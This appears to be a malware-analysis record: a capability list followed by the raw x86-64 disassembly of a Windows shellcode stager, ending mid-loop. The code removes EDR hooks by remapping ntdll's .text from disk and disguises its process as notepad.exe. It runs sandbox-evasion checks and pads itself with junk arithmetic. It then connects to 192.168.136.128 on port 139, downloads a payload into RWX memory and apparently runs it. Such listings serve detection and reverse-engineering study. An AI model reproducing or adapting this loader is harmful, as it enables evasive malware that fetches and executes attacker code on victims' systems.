Function at 0x140001450
Capabilities:
Act as tcp client
Allocate or change rwx memory
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Enumerate pe sections
Execute shellcode via indirect call
Link many functions at runtime
Overwrite dll .text section to remove hooks
Read file via mapping
Receive data
Receive data on socket
Resolve dns

Disassembly:
push rbp
push rbx
sub rsp, 0x4b8
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x450], ecx
mov qword [rbp + 0x458], rdx
call fcn.140002c10
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x3b0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x3a8], rax
mov dword [rbp + 0x42c], 0
jmp 0x1400014f9
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006150]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003d40
movq rax, xmm0
mov qword [rbp + 0x1e0], rax
add dword [rbp + 0x42c], 1
cmp dword [rbp + 0x42c], 0x2d8
jle 0x1400014b3
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x3a0], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x420], rax
cmp qword [rbp + 0x420], 0
jne 0x140001589
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x420], rax
cmp qword [rbp + 0x420], 0
je 0x140001b29
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x1c0]
mov rax, qword [rbp + 0x3a0]
mov r10, qword [rbp + 0x420]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x1c0]
mov qword [rbp + 0x398], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x390], rax
mov rax, qword [rbp + 0x390]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x388], rax
mov rax, qword [rbp + 0x388]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x380], rax
mov rax, qword [rbp + 0x398]
mov qword [rbp + 0x378], rax
mov dword [rbp + 0x374], 0
mov ecx, 0x7a58
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x368], rax
mov ecx, 0x7a58
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x360], rax
mov ecx, 0x7a58
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x358], rax
mov dword [rbp + 0x41c], 0
jmp 0x1400017b7
mov dword [rbp + 0x418], 0
jmp 0x1400017a3
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x41c]
cdqe
imul rcx, rax, 0x168
mov rax, qword [rbp + 0x368]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x418]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x41c]
cdqe
imul rcx, rax, 0x168
mov rax, qword [rbp + 0x360]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x418]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x418], 1
cmp dword [rbp + 0x418], 0x59
jle 0x1400016f2
add dword [rbp + 0x41c], 1
cmp dword [rbp + 0x41c], 0x56
jle 0x1400016e3
mov dword [rbp + 0x41c], 0
jmp 0x14000188e
mov dword [rbp + 0x418], 0
jmp 0x14000187a
mov eax, dword [rbp + 0x41c]
cdqe
imul rdx, rax, 0x168
mov rax, qword [rbp + 0x368]
add rdx, rax
mov eax, dword [rbp + 0x418]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x41c]
cdqe
imul rdx, rax, 0x168
mov rax, qword [rbp + 0x360]
add rdx, rax
mov eax, dword [rbp + 0x418]
cdqe
movss xmm1, dword [rdx + rax*4]
divss xmm0, xmm1
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movq xmm0, rax
call fcn.140003c00
mov eax, dword [rbp + 0x41c]
cdqe
imul rdx, rax, 0x168
mov rax, qword [rbp + 0x358]
add rdx, rax
cvtsd2ss xmm0, xmm0
mov eax, dword [rbp + 0x418]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x418], 1
cmp dword [rbp + 0x418], 0x59
jle 0x1400017e2
add dword [rbp + 0x41c], 1
cmp dword [rbp + 0x41c], 0x56
jle 0x1400017d3
mov rax, qword [rbp + 0x368]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x360]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x358]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x378]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x398]
add rax, rdx
mov qword [rbp + 0x350], rax
mov word [rbp + 0x416], 0
jmp 0x140001b11
mov rax, qword [rbp + 0x350]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x350]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x416]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x348], rax
mov ecx, 0x1ad8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x340], rax
mov dword [rbp + 0x410], 0
jmp 0x14000199b
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006150]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x410]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x340]
add rax, rdx
movsd xmm1, qword [0x140006158]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x410], 1
cmp dword [rbp + 0x410], 0x35a
jle 0x14000194d
mov dword [rbp + 0x410], 0
jmp 0x140001a05
mov eax, dword [rbp + 0x410]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x340]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x410]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x340]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x410], 1
cmp dword [rbp + 0x410], 0x35a
jle 0x1400019b3
mov rax, qword [rbp + 0x348]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001b00
mov dword [rbp + 0x188], 0
mov rax, qword [rbp + 0x348]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x348]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x398]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x188]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x348]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x348]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x380]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x348]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x398]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x188]
mov rax, qword [rbp + 0x348]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x348]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x398]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x188]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x416]
add eax, 1
mov word [rbp + 0x416], ax
mov rax, qword [rbp + 0x350]
movzx eax, word [rax + 6]
cmp word [rbp + 0x416], ax
jb 0x1400018f4
mov dword [rbp + 0x18c], 0
mov rax, qword [rbp + 0x3b0]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x338], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x190]
lea rax, [rbp + 0x18c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x338]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x198]
add rax, 0x3c
mov qword [rbp + 0x330], rax
mov rax, qword [rbp + 0x330]
lea rdx, str.C:windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x330]
lea rdx, str.C:windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x328], rax
cmp qword [rbp + 0x328], 0
je 0x140001c19
mov rax, qword [rbp + 0x328]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x320], rax
mov rax, qword [rbp + 0x320]
mov ecx, 0
call rax
mov dword [rbp + 0x40c], eax
cmp dword [rbp + 0x40c], 0xffffffff
je 0x140002b08
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x318], rax
mov rax, qword [rbp + 0x318]
mov ecx, 0
call rax
mov dword [rbp + 0x314], eax
cmp dword [rbp + 0x314], 0xffffffff
je 0x140002b08
mov r8d, 4
mov edx, 0
mov ecx, 0x1f0fff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x308], rax
cmp qword [rbp + 0x308], 0
jne 0x140002b08
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x300], rax
cmp qword [rbp + 0x300], 0
je 0x140001cfe
mov rax, qword [rbp + 0x300]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2f8], rax
mov rax, qword [rbp + 0x2f8]
mov ecx, 0
call rax
mov dword [rbp + 0x408], eax
cmp dword [rbp + 0x408], 0xffffffff
je 0x140002b08
lea rax, str.xrcubvafwpxl.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x2f0], rax
cmp qword [rbp + 0x2f0], 0
jne 0x140002b08
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2e8], rax
mov rax, qword [rbp + 0x2e8]
mov r8d, 4
mov edx, 0
mov ecx, 0x1f0fff
call rax
mov qword [rbp + 0x2e0], rax
cmp qword [rbp + 0x2e0], 0
jne 0x140002b08
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2d8], rax
mov rax, qword [rbp + 0x2d8]
mov ecx, 0
call rax
mov dword [rbp + 0x2d4], eax
cmp dword [rbp + 0x2d4], 0xffffffff
je 0x140002b08
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x2c8], rax
cmp qword [rbp + 0x2c8], 0
je 0x140001e3b
mov rax, qword [rbp + 0x2c8]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2c0], rax
mov rax, qword [rbp + 0x2c0]
mov ecx, 0
call rax
mov dword [rbp + 0x404], eax
cmp dword [rbp + 0x404], 0xffffffff
je 0x140002b08
lea rax, str.gtolueeeqxmbsw.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x2b8], rax
cmp qword [rbp + 0x2b8], 0
jne 0x140002b08
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2b0], rax
mov rax, qword [rbp + 0x2b0]
mov ecx, 0
call rax
mov dword [rbp + 0x2ac], eax
cmp dword [rbp + 0x2ac], 0xffffffff
je 0x140002b08
mov word [rbp + 0x2aa], 0x202
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x2a0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x298], rax
lea rax, str.ws2_32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x290], rax
mov rax, qword [rbp + 0x290]
lea rdx, str.WSAStartup
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x288], rax
mov rax, qword [rbp + 0x290]
lea rdx, str.WSACleanup
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x280], rax
movzx eax, word [rbp + 0x2aa]
lea rdx, [rbp - 0x40]
mov r8, qword [rbp + 0x288]
mov ecx, eax
call r8
test rax, rax
jns 0x140001f89
mov rax, qword [rbp + 0x280]
call rax
mov ecx, 1
call sub.msvcrt.dll_exit
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x168], rax
mov dword [rbp + 0x27c], 0
mov ecx, 0x564
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x270], rax
mov ecx, 0x564
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x268], rax
mov ecx, 0x564
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x260], rax
mov dword [rbp + 0x400], 0
jmp 0x1400020df
mov dword [rbp + 0x3fc], 0
jmp 0x1400020cb
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x400]
movsxd rcx, eax
mov rax, rcx
shl rax, 4
sub rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x270]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x3fc]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x400]
movsxd rcx, eax
mov rax, rcx
shl rax, 4
sub rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x268]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x3fc]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x3fc], 1
cmp dword [rbp + 0x3fc], 0xe
jle 0x140002004
add dword [rbp + 0x400], 1
cmp dword [rbp + 0x400], 0x16
jle 0x140001ff5
mov dword [rbp + 0x400], 0
jmp 0x1400021d7
mov dword [rbp + 0x3fc], 0
jmp 0x1400021c3
mov eax, dword [rbp + 0x400]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x270]
add rdx, rax
mov eax, dword [rbp + 0x3fc]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x400]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x268]
add rdx, rax
mov eax, dword [rbp + 0x3fc]
cdqe
movss xmm1, dword [rdx + rax*4]
divss xmm0, xmm1
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movq xmm0, rax
call fcn.140003c00
mov eax, dword [rbp + 0x400]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x260]
add rdx, rax
cvtsd2ss xmm0, xmm0
mov eax, dword [rbp + 0x3fc]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x3fc], 1
cmp dword [rbp + 0x3fc], 0xe
jle 0x14000210a
add dword [rbp + 0x400], 1
cmp dword [rbp + 0x400], 0x16
jle 0x1400020fb
mov rax, qword [rbp + 0x270]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x268]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x260]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x168]
cmp rax, 0xffffffffffffffff
jne 0x140002244
mov rax, qword [rbp + 0x168]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 1
call sub.msvcrt.dll_exit
lea rax, str.192.168.136.128
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_gethostbyname]
call rax
mov qword [rbp + 0x258], rax
cmp qword [rbp + 0x258], 0
jne 0x14000228e
mov rax, qword [rbp + 0x168]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 1
call sub.msvcrt.dll_exit
mov rax, qword [rbp + 0x258]
movzx eax, word [rax + 0x12]
movsx r8, ax
mov rax, qword [rbp + 0x258]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
lea rdx, [rbp + 0x170]
lea rcx, [rdx + 4]
mov rdx, rax
call sub.msvcrt.dll_memcpy
mov word [rbp + 0x170], 2
mov ecx, 0x8b
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x172], ax
mov rax, qword [rbp + 0x168]
lea rdx, [rbp + 0x170]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
test eax, eax
je 0x140002326
mov rax, qword [rbp + 0x168]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [rbp + 0x280]
call rax
mov ecx, 1
call sub.msvcrt.dll_exit
mov dword [rbp + 0x3f8], 0
jmp 0x140002373
call sub.msvcrt.dll_rand
imul eax, eax, 0x397
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006150]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003f50
movq rax, xmm0
mov qword [rbp + 0x1e8], rax
add dword [rbp + 0x3f8], 1
cmp dword [rbp + 0x3f8], 0x29f
jle 0x140002332
mov rax, qword [rbp + 0x168]
lea rdx, [rbp + 0x180]
mov r9d, 0
mov r8d, 4
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x254], eax
mov dword [rbp + 0x3ec], 0
mov ecx, 0x71c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x248], rax
mov dword [rbp + 0x3f4], 0
jmp 0x14000244a
mov dword [rbp + 0x3f0], 0
jmp 0x14000243a
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x611bbd0d
shr rdx, 0x20
sar edx, 0xb
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1517
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x3f4]
cdqe
imul rcx, rax, 0x8c
mov rax, qword [rbp + 0x248]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x3f0]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x3f0], 1
cmp dword [rbp + 0x3f0], 0x22
jle 0x1400023de
add dword [rbp + 0x3f4], 1
cmp dword [rbp + 0x3f4], 0xc
jle 0x1400023d2
mov dword [rbp + 0x3f4], 0
jmp 0x1400024c6
mov dword [rbp + 0x3f0], 0
jmp 0x1400024b6
pxor xmm1, xmm1
cvtsi2ss xmm1, dword [rbp + 0x3ec]
mov eax, dword [rbp + 0x3f4]
cdqe
imul rdx, rax, 0x8c
mov rax, qword [rbp + 0x248]
add rdx, rax
mov eax, dword [rbp + 0x3f0]
cdqe
movss xmm0, dword [rdx + rax*4]
addss xmm0, xmm1
cvttss2si eax, xmm0
mov dword [rbp + 0x3ec], eax
add dword [rbp + 0x3f0], 1
cmp dword [rbp + 0x3f0], 0x22
jle 0x14000246f
add dword [rbp + 0x3f4], 1
cmp dword [rbp + 0x3f4], 0xc
jle 0x140002463
mov rax, qword [rbp + 0x248]
mov rcx, rax
call sub.msvcrt.dll_free
cmp dword [rbp + 0x254], 4
jne 0x1400024f3
mov rax, qword [rbp + 0x180]
test rax, rax
jne 0x140002519
mov rax, qword [rbp + 0x168]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [rbp + 0x280]
call rax
mov ecx, 1
call sub.msvcrt.dll_exit
mov rax, qword [rbp + 0x298]
lea rdx, str.VirtualAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x240], rax
mov rax, qword [rbp + 0x180]
lea rdx, [rax + 0xa]
mov rax, qword [rbp + 0x240]
mov r9d, 0x40
mov r8d, 0x1000
mov ecx, 0
call rax
mov qword [rbp + 0x238], rax
mov ecx, 0x1430
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x230], rax
mov dword [rbp + 0x3e8], 0
jmp 0x1400025d1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006150]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x3e8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x230]
add rax, rdx
movsd xmm1, qword [0x140006158]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x3e8], 1
cmp dword [rbp + 0x3e8], 0x285
jle 0x140002583
mov dword [rbp + 0x3e8], 0
jmp 0x140002638
mov eax, dword [rbp + 0x3e8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x230]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x3e8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x230]
add rax, rdx
movq xmm1, qword [0x140006160]
andpd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x3e8], 1
cmp dword [rbp + 0x3e8], 0x285
jle 0x1400025e9
mov rax, qword [rbp + 0x238]
mov byte [rax], 0x48
mov rax, qword [rbp + 0x238]
add rax, 1
mov byte [rax], 0xbf
mov rax, qword [rbp + 0x238]
lea rdx, [rax + 2]
mov eax, dword [rbp + 0x168]
mov dword [rdx], eax
mov dword [rbp + 0x22c], 0
mov dword [rbp + 0x3e4], 0
mov rax, qword [rbp + 0x238]
add rax, 0xa
mov qword [rbp + 0x3d8], rax
jmp 0x140002838
mov rax, qword [rbp + 0x180]
mov edx, eax
mov eax, dword [rbp + 0x3e4]
sub edx, eax
mov ecx, edx
mov rax, qword [rbp + 0x168]
mov rdx, qword [rbp + 0x3d8]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x22c], eax
mov eax, dword [rbp + 0x22c]
cdqe
add qword [rbp + 0x3d8], rax
mov eax, dword [rbp + 0x22c]
add dword [rbp + 0x3e4], eax
mov ecx, 0x7c8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1f0], rax
mov dword [rbp + 0x3d0], 0
mov dword [rbp + 0x3cc], 0
mov dword [rbp + 0x3d4], 0
jmp 0x14000276f
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x3d4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1f0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x14f8b589
shr rdx, 0x20
sar edx, 0xd
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x186a0
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x3d4], 1
cmp dword [rbp + 0x3d4], 0x1f1
jle 0x140002722
mov dword [rbp + 0x3d4], 0
mov dword [rbp + 0x3d4], 0
jmp 0x1400027ee
mov eax, dword [rbp + 0x3d4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1f0]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x1400027bd
add dword [rbp + 0x3d0], 1
jmp 0x1400027e7
mov eax, dword [rbp + 0x3d4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1f0]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x1400027e7
add dword [rbp + 0x3cc], 1
add dword [rbp + 0x3d4], 1
cmp dword [rbp + 0x3d4], 0x1f1
jle 0x140002791
mov rax, qword [rbp + 0x1f0]
mov rcx, rax
call sub.msvcrt.dll_free
cmp dword [rbp + 0x22c], 0xffffffff
jne 0x140002838
mov rax, qword [rbp + 0x168]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [rbp + 0x280]
call rax
mov ecx, 1
call sub.msvcrt.dll_exit
mov eax, dword [rbp + 0x3e4]
movsxd rdx, eax
mov rax, qword [rbp + 0x180]
cmp rdx, rax
jb 0x14000269a
mov eax, dword [rbp + 0x3e4]
mov dword [rbp + 0x254], eax
mov dword [rbp + 0x3c0], 0
mov ecx, 0x5320
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x220], rax
mov dword [rbp + 0x3c8], 0
jmp 0x140002910
mov dword [rbp + 0x3c4], 0
jmp 0x140002900
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffc7158825
shr rdx, 0x20
add edx, eax
mov ecx, edx
sar ecx, 0xc
cdq
sub ecx, edx
imul edx, ecx, 0x1493
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x3c8]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x220]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x3c4]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x3c4], 1
cmp dword [rbp + 0x3c4], 0x4b
jle 0x140002893
add dword [rbp + 0x3c8], 1
